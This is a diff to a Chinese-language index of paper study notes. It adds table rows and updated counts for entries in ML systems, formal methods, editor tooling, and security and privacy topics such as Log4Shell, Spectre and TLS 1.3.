 | [Sycophancy 2023 — RLHF 模型为什么爱顺着用户说](/study/papers/sycophancy-2023/) | ✅ v3 |  |
 | [T0 — 让 50 个人各写各的提示词，模型反而更会听新指令](/study/papers/t0-2021/) | ✅ v3 |  |
@@ -538,7 +582,12 @@ sidebar:
 | [TD3 — 给 DDPG 装两副刹车，连续控制终于稳了](/study/papers/td3-2018/) | ✅ v3 |  |
 | [Transformer-XL — 让 Transformer 像 RNN 那样把上下文滚动传下去](/study/papers/transformer-xl-2019/) | ✅ v3 |  |
 | [Tree of Thoughts — 让 LLM 像下棋一样多想几步再答](/study/papers/tree-of-thoughts-2023/) | ✅ v3 |  |
+| [TriAxialKV — Agent 推理场景下的极低精度 KV Cache 混合量化](/study/papers/triaxialkv/) | ✅ v3 |  |
+| [Tutti — 让 SSD 上的 KV Cache 真正可用于长上下文 LLM 推理](/study/papers/tutti-ssd-kv-cache/) | ✅ v3 |  |
 | [VALL-E — 3 秒样本零样本语音克隆](/study/papers/vall-e-2023/) | ✅ v3 |  |
+| [VeriCache — 把有损 KV Cache 变成无损 LLM 推理](/study/papers/vericache/) | ✅ v3 |  |
+| [VibeServe — 零基础学习笔记](/study/papers/vibeserve/) | ✅ v3 |  |
+| [VisualThink-VLA — 用「视觉中间推理」做低延迟的机器人策略](/study/papers/visualthink-vla/) | ✅ v3 |  |
 | [Whisper — 68 万小时弱监督训出的语音识别](/study/papers/whisper-2022/) | ✅ v3 |  |
 | [XLNet — 把句子打乱顺序读，借此同时拿到 AR 和双向](/study/papers/xlnet-2019/) | ✅ v3 |  |
 
@@ -669,6 +718,25 @@ sidebar:
 | [Sparse Autoencoders — 把 superposition 解出来](/study/papers/sparse-autoencoders/) | 🗄 存量 |  |
 | [Toy Models of Superposition](/study/papers/toy-models-superposition/) | ✅ v3 |  |
 
+### ML 系统
+
+| 论文 | 质量 | 描述 |
+|---|:---:|---|
+| [ZeRO++ — 巨型模型训练中的极致高效集合通信](/study/papers/ds-zero-pp-comm/) | ✅ v3 |  |
+| [ExpertFlow — MoE 预测式专家缓存与 Token 调度（零基础学习笔记）](/study/papers/expertflow-moe-offload/) | ✅ v3 |  |
+| [FlashAttention-2 — 更快的 Attention 与更好的并行](/study/papers/flashattention-2/) | ✅ v3 |  |
+| [FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度](/study/papers/flashattention-3-2024/) | ✅ v3 |  |
+| [Liger Kernel — 面向 LLM 训练的高效 Triton Kernel 套件](/study/papers/liger-kernel-llm-training/) | ✅ v3 |  |
+| [Megatron Core MoE 大规模训练 — 零基础学习笔记](/study/papers/megatron-core-moe-2026/) | ✅ v3 |  |
+| [Nexus — 单 GPU 内主动式 Prefill/Decode 分离](/study/papers/nexus-prefill-decode-intra-gpu/) | ✅ v3 |  |
+| [PagedAttention 与 vLLM — 零基础学习笔记](/study/papers/paged-attention-vllm/) | ✅ v3 |  |
+| [QServe — W4A8KV4 量化与系统协同设计（零基础学习笔记）](/study/papers/qserve-w4a8kv4-2024/) | ✅ v3 |  |
+| [SGLang — 结构化语言模型程序的高效执行（RadixAttention 零基础笔记）](/study/papers/sglang-radixattention/) | ✅ v3 |  |
+| [Speculative Decoding — 用小模型「猜」、大模型「验」，无损加速 Transformer 推理](/study/papers/speculative-decoding-leviathan-2023/) | ✅ v3 |  |
+| [TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记](/study/papers/tensorrt-llm-overview/) | ✅ v3 |  |
+| [The Anatomy of a Triton Attention Kernel — 零基础学习笔记](/study/papers/triton-anatomy-paged-attn/) | ✅ v3 |  |
+| [veScale-FSDP — 灵活且高性能的大规模 FSDP](/study/papers/vescale-fsdp-2026/) | ✅ v3 |  |
+
 ### 其他子类
 
 | 论文 | 质量 | 描述 |
@@ -706,7 +774,7 @@ sidebar:
 
 ## 后端 API
 
-共 9 篇。
+共 10 篇。
 
 ### 后端
 
@@ -722,6 +790,7 @@ sidebar:
 | 论文 | 质量 | 描述 |
 |---|:---:|---|
 | [Islands Architecture — 静态页面里只让需要交互的小块加载 JS](/study/papers/islands-architecture/) | ✅ v3 |  |
+| [MCP Is Dead? — 2026 年协议存废之争零基础笔记](/study/papers/mcp-is-dead-debate/) | ✅ v3 |  |
 | [nvm — 在同一台机器上轻松切换 Node 版本](/study/papers/nvm/) | ✅ v3 |  |
 | [React Server Components — 让组件自己决定在哪台机器跑](/study/papers/react-server-components/) | ✅ v3 |  |
 | [Server-Sent Events — 服务器单向推送的标准协议](/study/papers/server-sent-events/) | ✅ v3 |  |
@@ -981,13 +1050,14 @@ sidebar:
 
 ## 形式化方法
 
-共 51 篇。
+共 54 篇。
 
 ### 形式化验证
 
 | 论文 | 质量 | 描述 |
 |---|:---:|---|
 | [ACL2 — 用纯 Lisp 当数学对象，机器证明工业级硬件正确](/study/papers/acl2-2000/) | ✅ v3 |  |
+| [First Steps Towards Probabilistic Iris (Amaryllis)](/study/papers/amaryllis-probabilistic-iris/) | ✅ v3 |  |
 | [Apron — 把区间/八边形/多面体塞进同一个插槽](/study/papers/apron-2009/) | ✅ v3 |  |
 | [Awodey-Warren — 把『相等的证明』看成两点之间的路径](/study/papers/awodey-warren-2009/) | ✅ v3 |  |
 | [Bounded Model Checking — 把硬件验证翻译成一道 SAT 题](/study/papers/biere-bmc-1999/) | ✅ v3 |  |
@@ -1027,6 +1097,7 @@ sidebar:
 | [Nuprl — 第一个把 Martin-Löf 类型论搬上屏幕的证明助手](/study/papers/nuprl-1986/) | ✅ v3 |  |
 | [Pnueli 时序逻辑 — 给"永远不死锁""请求最终被响应"找一套数学语言](/study/papers/pnueli-temporal-1977/) | ✅ v3 |  |
 | [ProVerif — 把密码协议翻成 Prolog 规则让计算机自己证安全](/study/papers/proverif-2001/) | ✅ v3 |  |
+| [Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约](/study/papers/spec-agent-separation-logic/) | ✅ v3 |  |
 | [Stainless — 让编译器替你证明 Scala 函数真的满足规约](/study/papers/stainless-2017/) | ✅ v3 |  |
 | [Tamarin — 让计算机自己证 Signal、TLS 1.3 这种带 DH 的协议是不是真安全](/study/papers/tamarin-2012/) | ✅ v3 |  |
 | [TLC — 让 TLA+ 规范可以一键机检的模型检查器](/study/papers/tla-yu-tlc-1999/) | ✅ v3 |  |
@@ -1042,6 +1113,7 @@ sidebar:
 
 | 论文 | 质量 | 描述 |
 |---|:---:|---|
+| [COMPOSE — 从引用与形式结构「合成」未来定理](/study/papers/compose-future-theorems/) | ✅ v3 |  |
 | [Gödel 1931 — 不完备性定理](/study/papers/godel-1931/) | ✅ v3 |  |
 
 ## 通信
@@ -1153,7 +1225,16 @@ sidebar:
 
 ## CLI
 
-共 1 篇。
+共 5 篇。
+
+### 编辑器与 IDE
+
+| 论文 | 质量 | 描述 |
+|---|:---:|---|
+| [Debug Adapter Protocol — 让编辑器共享同一套「调试遥控器」的通用协议](/study/papers/debug-adapter-protocol/) | ✅ v3 |  |
+| [Language Server Protocol — 让编辑器共享同一套「语言大脑」的 USB 协议](/study/papers/language-server-protocol-spec/) | ✅ v3 |  |
+| [On Rendering Diffs — 浏览器里渲染代码 diff 为何比看起来难得多](/study/papers/rendering-diffs/) | ✅ v3 |  |
+| [Tree-sitter — 增量式解析系统](/study/papers/tree-sitter-2018/) | ✅ v3 |  |
 
 ### 其他子类
 
@@ -1211,7 +1292,7 @@ sidebar:
 
 ## 安全与隐私
 
-共 54 篇。
+共 68 篇。
 
 ### 安全与隐私
 
@@ -1231,6 +1312,7 @@ sidebar:
 | [KLEE — 符号执行自动生成高覆盖测试](/study/papers/cadar-klee-2008/) | ✅ v3 |  |
 | [Homomorphic Encryption for Arithmetic of Approximate Numbers](/study/papers/cheon-ckks-2017/) | ✅ v3 |  |
 | [Faster Fully Homomorphic Encryption: Bootstrapping in Less Than 0.1 Seconds](/study/papers/chillotti-tfhe-2016/) | ✅ v3 |  |
+| [CKKS 同态加密 — 在加密数据上做近似浮点运算](/study/papers/ckks-homomorphic-2017/) | ✅ v3 |  |
 | [Intel SGX 详解 — 在不可信云里圈一块硬件保险箱](/study/papers/costan-sgx-explained-2016/) | ✅ v3 |  |
 | [Flash Boys 2.0 — 区块链上的抢跑者和共识危机](/study/papers/daian-flash-boys-2020/) | ✅ v3 |  |
 | [Sphinx — mix 网络最紧凑的可证安全消息格式](/study/papers/danezis-sphinx-2009/) | ✅ v3 |  |
@@ -1238,6 +1320,7 @@ sidebar:
 | [CRYSTALS-Dilithium — 量子计算机来了也签不掉的数字签名](/study/papers/ducas-dilithium-2018/) | ✅ v3 |  |
 | [Local Privacy and Statistical Minimax Rates](/study/papers/duchi-local-dp-2013/) | ✅ v3 |  |
 | [校准噪声与敏感度 — Laplace 机制奠基](/study/papers/dwork-calibrating-noise-2006/) | ✅ v3 |  |
+| [校准噪声与敏感度 — 差分隐私的 Laplace 机制](/study/papers/dwork-differential-privacy-2006/) | ✅ v3 |  |
 | [差分隐私 — ε 与邻接数据集不可区分](/study/papers/dwork-dp-icalp-2006/) | ✅ v3 |  |
 | [分布式噪声生成 — 去掉可信管理员也能保护隐私](/study/papers/dwork-our-data-ourselves-2006/) | ✅ v3 |  |
 | [RAPPOR — 本地差分隐私随机响应采集](/study/papers/erlingsson-rappor-2014/) | ✅ v3 |  |
@@ -1253,20 +1336,32 @@ sidebar:
 | [Keystone — 开源可定制 RISC-V TEE 框架](/study/papers/lee-keystone-2020/) | ✅ v3 |  |
 | [t-Closeness — 用"分布距离"堵住匿名化的最后漏洞](/study/papers/li-t-closeness-2007/) | ✅ v3 |  |
 | [Meltdown — 乱序执行偷读内核内存](/study/papers/lipp-meltdown-2018/) | ✅ v3 |  |
+| [Log4Shell (CVE-2021-44228) — 一条日志字符串如何远程控制服务器](/study/papers/log4shell-cve-2021-44228/) | ✅ v3 |  |
 | [l-多样性 — k-匿名之后的隐私保护](/study/papers/machanavajjhala-l-diversity-2007/) | ✅ v3 |  |
 | [Madry PGD 2017 — 用最强对手训练最强防御](/study/papers/madry-pgd-2017/) | ✅ v3 |  |
 | [FedAvg — 联邦学习奠基算法](/study/papers/mcmahan-fedavg-2017/) | ✅ v3 |  |
+| [Meltdown — 从用户空间偷读内核内存](/study/papers/meltdown-attack-2018/) | ✅ v3 |  |
 | [Rényi 差分隐私 — 隐私会计统一框架](/study/papers/mironov-renyi-dp-2017/) | ✅ v3 |  |
 | [Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software](/study/papers/newsome-taintcheck-2005/) | ✅ v3 |  |
 | [TrustZone — ARM 给 CPU 装上"双重人格"隔离安全世界](/study/papers/ngabonziza-trustzone-2016/) | ✅ v3 |  |
+| [Noise Protocol Framework — 用「握手配方」拼出端到端加密通道](/study/papers/noise-protocol-framework/) | ✅ v3 |  |
+| [OAuth 2.0 Authorization Framework (RFC 6749) — 不用把密码交给第三方，也能授权访问](/study/papers/oauth2-rfc6749/) | ✅ v3 |  |
 | [Loopix — 低延迟 mix 网络实现发送方和接收方双向匿名](/study/papers/piotrowska-loopix-2017/) | ✅ v3 |  |
 | [Rabin 遗忘传输 — 发送方永远不知道你收到了什么](/study/papers/rabin-ot-1981/) | ✅ v3 |  |
 | [洋葱路由 1998 — 把匿名通信从理论搬进真实互联网](/study/papers/reed-onion-routing-1998/) | ✅ v3 |  |
 | [On Lattices, Learning with Errors, Random Linear Codes, and Cryptography](/study/papers/regev-lwe-2005/) | ✅ v3 |  |
+| [Row Hammer — 不碰邻居也能把邻居的位翻过来](/study/papers/rowhammer-2014/) | ✅ v3 |  |
+| [RSA 1978 — 数字签名与公钥密码的奠基论文](/study/papers/rsa-1978/) | ✅ v3 |  |
 | [MIA 成员推断攻击 — 黑盒 API 能猜出你是不是训练数据](/study/papers/shokri-mia-2017/) | ✅ v3 |  |
+| [Double Ratchet Algorithm — Signal 端到端加密会话的「双棘轮」](/study/papers/signal-double-ratchet-2016/) | ✅ v3 |  |
+| [Sigstore — 让每个人都能给软件「盖公证章」](/study/papers/sigstore-cosign-2022/) | ✅ v3 |  |
+| [Spectre Attacks — 推测执行如何绕过边界检查偷读内存](/study/papers/spectre-attack-2018/) | ✅ v3 |  |
 | [k-匿名 — 发布数据时让攻击者无法锁定你是谁](/study/papers/sweeney-k-anonymity-2002/) | ✅ v3 |  |
 | [Szegedy 对抗样本 2013 — 一张图片骗过神经网络的开山之作](/study/papers/szegedy-adversarial-2013/) | ✅ v3 |  |
+| [TLS 1.3 (RFC 8446) — 更快、更简、默认前向保密的 HTTPS 握手](/study/papers/tls-1-3-rfc8446/) | ✅ v3 |  |
+| [WebAuthn Level 2 — 用公钥凭证替代密码的 Web 标准](/study/papers/webauthn-fido2/) | ✅ v3 |  |
 | [Yao 混淆电路 — 让两人合算函数却互不泄密](/study/papers/yao-garbled-circuits-1986/) | ✅ v3 |  |
+| [Pinocchio 2013 — 首个「近乎实用」的可验证计算与 zk-SNARK 工程系统](/study/papers/zk-snark-pinocchio-2013/) | ✅ v3 |  |
 
 ### 密码学
 
@@ -1306,7 +1401,7 @@ sidebar:
 
 ---
 
-## 全部 948 篇（字母序）
+## 全部 1033 篇（字母序）
 
 | Slug | 论文 | 质量 | 一级 | 子分类 |
 |---|---|:---:|---|---|
@@ -1331,6 +1426,7 @@ sidebar:
 | `align-2021` | [ALIGN — 用 18 亿条脏图文对训练，证明数据规模能压住噪声](/study/papers/align-2021/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `alpa-2022` | [Alpa — 把张量/流水/数据并行统一成一道搜索题](/study/papers/alpa-2022/) | ✅ v3 | 图形学 | GPU 架构 |
 | `alphago` | [AlphaGo — 击败围棋世界冠军](/study/papers/alphago/) | ✅ v3 | 机器学习 | 强化学习 / AI |
+| `amaryllis-probabilistic-iris` | [First Steps Towards Probabilistic Iris (Amaryllis)](/study/papers/amaryllis-probabilistic-iris/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `amdahl-law-1967` | [Amdahl 定律 — 串行比例决定并行加速比的上界](/study/papers/amdahl-law-1967/) | ✅ v3 | 图形学 | GPU 架构 |
 | `amoeba-1990` | [Amoeba — 把整个机房当一台操作系统](/study/papers/amoeba-1990/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `ampere-architecture-2020` | [NVIDIA Ampere — 第三代 Tensor Core 加 TF32 / BF16 / FP64，结构化稀疏 + MIG 重写大模型时代硬件假设](/study/papers/ampere-architecture-2020/) | ✅ v3 | 图形学 | GPU 架构 |
@@ -1385,6 +1481,7 @@ sidebar:
 | `bigbench-2022` | [BIG-bench — 204 道题给大模型出考卷](/study/papers/bigbench-2022/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `biggan-2018` | [BigGAN — 把 GAN 暴力放大到 ImageNet 512×512](/study/papers/biggan-2018/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `bigtable-2006` | [Bigtable 2006 — Google 把行级随机读写做到 PB 级的存储系统](/study/papers/bigtable-2006/) | 🗄 存量 | 数据库 | 存储与查询 |
+| `bijou64-varint` | [Bijou64 — 结构式规范化的变长整数编码](/study/papers/bijou64-varint/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `bitcoin` | [Bitcoin 白皮书](/study/papers/bitcoin/) | ✅ v3 | 分布式系统 | 分布式系统 / 密码学 |
 | `bittorrent-2003` | [BitTorrent — 用"以牙还牙"逼大家都上传](/study/papers/bittorrent-2003/) | ✅ v3 | 网络协议 | 网络协议 |
 | `blackwell-architecture-2024` | [NVIDIA Blackwell — 双 die NV-HBI + 第二代 Transformer Engine + FP4 让万亿参数训练日常化](/study/papers/blackwell-architecture-2024/) | ✅ v3 | 图形学 | GPU 架构 |
@@ -1411,6 +1508,7 @@ sidebar:
 | `bunz-bulletproofs-2018` | [Bulletproofs: Short Proofs for Confidential Transactions and More](/study/papers/bunz-bulletproofs-2018/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `burgess-2020-turing-rt` | [Burgess 2020 RTX ON — Turing 把光线追踪做进硅片](/study/papers/burgess-2020-turing-rt/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `bvt-1999` | [BVT 1999 — 让一份调度器同时照顾"急性子"和"老黄牛"](/study/papers/bvt-1999/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
+| `bw-tree` | [Bw-Tree — 面向新硬件的无锁 B 树索引](/study/papers/bw-tree/) | ✅ v3 | 数据库 | 存储与查询 |
 | `byzantine-generals-1982` | [拜占庭将军问题 — 节点能撒谎时怎么达成一致](/study/papers/byzantine-generals-1982/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `cadar-klee-2008` | [KLEE — 符号执行自动生成高覆盖测试](/study/papers/cadar-klee-2008/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `caesar-rexford-2005` | [Caesar-Rexford 2005 — 你的包为什么绕了大半个地球](/study/papers/caesar-rexford-2005/) | ✅ v3 | 网络协议 | 网络协议 |
@@ -1427,6 +1525,8 @@ sidebar:
 | `catmull-1974-zbuffer` | [Catmull 1974 Z-buffer — 用一张深度图解决谁挡谁的问题](/study/papers/catmull-1974-zbuffer/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `catmull-clark-1978` | [Catmull-Clark 1978 — 让任意拓扑网格收敛成光滑曲面](/study/papers/catmull-clark-1978/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `causal-abstraction` | [Causal Abstraction — 神经网络与算法的因果对齐](/study/papers/causal-abstraction/) | ✅ v3 | 机器学习 | AI 可解释性 |
+| `cci-agent-scaffolding` | [Cross-Component Interference in LLM Agent Scaffolding（LLM Agent 脚手架的跨组件干扰）](/study/papers/cci-agent-scaffolding/) | ✅ v3 | 机器学习 | 模型与训练 |
+| `ccopd-distillation` | [CCOPD — 多轮语言模型的规范上下文在线策略蒸馏](/study/papers/ccopd-distillation/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `cell-be-2005` | [Cell BE — 一颗 CPU 里塞 8 个加速核](/study/papers/cell-be-2005/) | ✅ v3 | 图形学 | GPU 架构 |
 | `ceph-2006` | [Ceph — 让分布式文件系统不靠中心查表](/study/papers/ceph-2006/) | ✅ v3 | 数据库 | 存储与查询 |
 | `cerf-kahn-1974` | [Cerf-Kahn 1974 — 用网关把异构网络拼成一个互联网](/study/papers/cerf-kahn-1974/) | ✅ v3 | 网络协议 | 网络协议 |
@@ -1450,6 +1550,7 @@ sidebar:
 | `chubby` | [Chubby — 给凡人用的分布式锁服务](/study/papers/chubby/) | ✅ v3 | 分布式系统 | 分布式系统 |
 | `ci-effects` | [CI Effects — 持续集成不是免费午餐，价值看实现细节](/study/papers/ci-effects/) | ✅ v3 | 其他 | 软件工程 |
 | `cimatti-nusmv-2002` | [NuSMV 2 — 把 BDD 和 SAT 两种验证引擎装进同一个开源工具](/study/papers/cimatti-nusmv-2002/) | ✅ v3 | 形式化方法 | 形式化验证 |
+| `ckks-homomorphic-2017` | [CKKS 同态加密 — 在加密数据上做近似浮点运算](/study/papers/ckks-homomorphic-2017/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `clark-1988` | [Clark 1988 — TCP/IP 七大目标的优先级，决定了 Internet 长成今天这样](/study/papers/clark-1988/) | ✅ v3 | 网络协议 | 网络协议 |
 | `clarke-cegar-2003` | [CEGAR — 用反例自动改进抽象，让大软件能被验证](/study/papers/clarke-cegar-2003/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `clarke-emerson-1981` | [Clarke-Emerson 1981 — 让机器自己检查并发程序对不对](/study/papers/clarke-emerson-1981/) | ✅ v3 | 形式化方法 | 形式化验证 |
@@ -1473,9 +1574,13 @@ sidebar:
 | `cohen-1985-hemicube` | [Cohen-Greenberg 1985 Hemicube — 把渲染硬件挪去算辐射度积分](/study/papers/cohen-1985-hemicube/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `colbert-2020` | [ColBERT — 让 BERT 检索既准又能扛大规模](/study/papers/colbert-2020/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `colbert-v2` | [ColBERTv2 — 让向量检索既精又能扛百万文档](/study/papers/colbert-v2/) | ✅ v3 | 信息检索 | 数据检索 |
+| `columnar-storage-formats-2023` | [列式存储格式实证评估 — Parquet 与 ORC 谁更适合 2020 年代？](/study/papers/columnar-storage-formats-2023/) | ✅ v3 | 数据库 | 存储与查询 |
 | `comer-1979-btree` | [Comer 1979 — B-Tree 综述：为什么这棵树到处都有](/study/papers/comer-1979-btree/) | ✅ v3 | 数据库 | 存储与查询 |
 | `compcert` | [CompCert — 每条优化都被数学证明保持语义的 C 编译器](/study/papers/compcert/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `compiler-errors` | [Compiler Error Messages — 让编译报错有用](/study/papers/compiler-errors/) | ✅ v3 | 编程语言 | 编程语言 / 编译器 |
+| `compiler-perf-left-on-table` | [Performance Left on the Table — 编译器自动向量化还剩多少性能没吃到](/study/papers/compiler-perf-left-on-table/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `compose-future-theorems` | [COMPOSE — 从引用与形式结构「合成」未来定理](/study/papers/compose-future-theorems/) | ✅ v3 | 形式化方法 | 定理证明 |
+| `compositional-incoherence` | [Locally Coherent, Globally Incoherent — 多组件 LLM Agent 的组合不一致性](/study/papers/compositional-incoherence/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `consistency-models-2023` | [Consistency Models — 把 50 步扩散压成 1 步出图](/study/papers/consistency-models-2023/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `consistent-hashing-1997` | [Consistent Hashing — 加机器只搬一小部分数据的哈希环](/study/papers/consistent-hashing-1997/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `constitutional-ai` | [Constitutional AI — Anthropic 的对齐方法](/study/papers/constitutional-ai/) | ✅ v3 | 机器学习 | AI 安全 / NLP |
@@ -1499,6 +1604,7 @@ sidebar:
 | `crdt-shapiro-2011` | [CRDT — 让多副本各改各的，最终自动合一](/study/papers/crdt-shapiro-2011/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `crdt-sss-2011` | [CRDT 形式定义 — SSS 2011 八页浓缩版](/study/papers/crdt-sss-2011/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `croft-harper-1979` | [Croft-Harper 1979 — 没有相关性反馈也能跑概率检索](/study/papers/croft-harper-1979/) | ✅ v3 | 信息检索 | 检索与排序 |
+| `crossover-context-multi-agent` | [When Context Hurts — 知识迁移在多智能体设计中的交叉效应](/study/papers/crossover-context-multi-agent/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `cryptoverif-2008` | [CryptoVerif — 让计算机直接证密码协议在真实计算模型下安全](/study/papers/cryptoverif-2008/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `csp-hoare-1978` | [CSP — 进程之间只许喊话不许共用内存](/study/papers/csp-hoare-1978/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `cstore-2005` | [C-Store — 把数据按列存，分析查询直接快十倍](/study/papers/cstore-2005/) | ✅ v3 | 数据库 | 存储与查询 |
@@ -1523,6 +1629,7 @@ sidebar:
 | `debate-2018` | [AI safety via debate — 让两个 AI 互辩，人类只当评委](/study/papers/debate-2018/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `deberta-2021` | [DeBERTa — 把"内容"和"位置"拆成两路独立看的 BERT](/study/papers/deberta-2021/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `debevec-1998-rendering-with-natural-light` | [Debevec 1998 — 用真实世界的光照亮 CG 物体](/study/papers/debevec-1998-rendering-with-natural-light/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `debug-adapter-protocol` | [Debug Adapter Protocol — 让编辑器共享同一套「调试遥控器」的通用协议](/study/papers/debug-adapter-protocol/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `debugging-dichotomy` | [Debugging Dichotomy — 程序员真实 debug 行为分两轨](/study/papers/debugging-dichotomy/) | ✅ v3 | 其他 | 软件工程实证 |
 | `decision-transformer-2021` | [Decision Transformer — 把强化学习当成"文字接龙"](/study/papers/decision-transformer-2021/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `deepseek-coder-2024` | [DeepSeek-Coder — 按整个仓库喂代码的开源 SOTA](/study/papers/deepseek-coder-2024/) | ✅ v3 | 机器学习 | 模型与训练 |
@@ -1530,6 +1637,7 @@ sidebar:
 | `deepspeed-zero` | [DeepSpeed ZeRO — 微软优化大模型训练显存](/study/papers/deepspeed-zero/) | ✅ v3 | 分布式系统 | 模型与训练 |
 | `deering-1988-triangle-processor` | [Deering 1988 Triangle Processor — 现代 GPU 的祖先架构](/study/papers/deering-1988-triangle-processor/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `demikernel-2021` | [Demikernel — 微秒级数据中心的 datapath OS 架构](/study/papers/demikernel-2021/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
+| `demystifying-data-org` | [Demystifying Data Organization for Enhanced LLM Training — 用「排课表」而不是「删题目」提升大模型训练](/study/papers/demystifying-data-org/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `denali-2002` | [Denali — 在一台机器上同时跑上千个轻量 VM 的早期实验](/study/papers/denali-2002/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `dense360-2025` | [Dense360 — 全景 ERP 密集理解与 ERP-RoPE](/study/papers/dense360-2025/) | ✅ v3 | 机器学习 | 视频理解 |
 | `desbrun-1999-implicit-fairing` | [Desbrun 1999 — 把热扩散方程隐式离散到三角网](/study/papers/desbrun-1999-implicit-fairing/) | ✅ v3 | 图形学 | 渲染与图形 |
@@ -1561,9 +1669,11 @@ sidebar:
 | `dpr-2020` | [DPR — 用 BERT 双塔把检索从 BM25 时代拉进稠密向量时代](/study/papers/dpr-2020/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `dqn` | [DQN — Deep Q-Network](/study/papers/dqn/) | ✅ v3 | 机器学习 | 强化学习 |
 | `dreamfusion-2022` | [DreamFusion — 用 2D 扩散模型当老师，把 NeRF 教成 3D](/study/papers/dreamfusion-2022/) | ✅ v3 | 机器学习 | 模型与训练 |
+| `dremel-decade-2020` | [Dremel 十年回顾 — Web 规模交互式 SQL 分析如何演化为 BigQuery](/study/papers/dremel-decade-2020/) | ✅ v3 | 数据库 | 存储与查询 |
 | `drizzle-2017` | [Drizzle — 让 micro-batch 也能跑出 100ms 延迟](/study/papers/drizzle-2017/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `drmm-2016` | [DRMM — 检索里的匹配是相关性不是语义相似](/study/papers/drmm-2016/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `dropout-2014` | [Dropout — 训练时随机关掉一半神经元，反而学得更好](/study/papers/dropout-2014/) | ✅ v3 | 机器学习 | 模型与训练 |
+| `ds-zero-pp-comm` | [ZeRO++ — 巨型模型训练中的极致高效集合通信](/study/papers/ds-zero-pp-comm/) | ✅ v3 | 机器学习 | ML 系统 |
 | `dspy` | [DSPy — 把 prompt 写成签名，让编译器替你调](/study/papers/dspy/) | ✅ v3 | 编程语言 | 编程语言 |
 | `dssm-2013` | [DSSM — 把 query 和文档各编码成 128 维向量再算余弦](/study/papers/dssm-2013/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `dstreams-2013` | [D-Streams — 把流处理伪装成一串很小的批](/study/papers/dstreams-2013/) | ✅ v3 | 数据库 | 存储与查询 |
@@ -1571,6 +1681,7 @@ sidebar:
 | `duchi-local-dp-2013` | [Local Privacy and Statistical Minimax Rates](/study/papers/duchi-local-dp-2013/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `duckdb-2019` | [DuckDB — 把 OLAP 数据库塞进你的 Python 进程](/study/papers/duckdb-2019/) | ✅ v3 | 数据库 | 存储与查询 |
 | `dwork-calibrating-noise-2006` | [校准噪声与敏感度 — Laplace 机制奠基](/study/papers/dwork-calibrating-noise-2006/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `dwork-differential-privacy-2006` | [校准噪声与敏感度 — 差分隐私的 Laplace 机制](/study/papers/dwork-differential-privacy-2006/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `dwork-dp-icalp-2006` | [差分隐私 — ε 与邻接数据集不可区分](/study/papers/dwork-dp-icalp-2006/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `dwork-our-data-ourselves-2006` | [分布式噪声生成 — 去掉可信管理员也能保护隐私](/study/papers/dwork-our-data-ourselves-2006/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `dynamo` | [Dynamo — 让购物车永远能写入的分布式存储](/study/papers/dynamo/) | ✅ v3 | 分布式系统 | 分布式系统 |
@@ -1581,6 +1692,7 @@ sidebar:
 | `ebpf` | [eBPF — 用户写小程序，内核证明安全后再跑](/study/papers/ebpf/) | ✅ v3 | 操作系统 | 操作系统 |
 | `edm-2022` | [EDM — 把扩散模型的训练配方一次拆清楚](/study/papers/edm-2022/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `effect-handlers` | [代数效应（Algebraic Effects）](/study/papers/effect-handlers/) | ✅ v3 | 编程语言 | 编程语言 |
+| `efficient-compile-2011` | [Efficiently Compiling Efficient Query Plans for Modern Hardware — 面向现代 CPU 的查询编译](/study/papers/efficient-compile-2011/) | ✅ v3 | 数据库 | 存储与查询 |
 | `effiskill` | [EffiSkill — 把代码效率优化经验抽成两层 skill 库](/study/papers/effiskill/) | ✅ v3 | Agent | 智能体与 LLM |
 | `egoschema-2023` | [EgoSchema — 三分钟第一视角长视频理解的诊断探针](/study/papers/egoschema-2023/) | ✅ v3 | 机器学习 | 视频理解 |
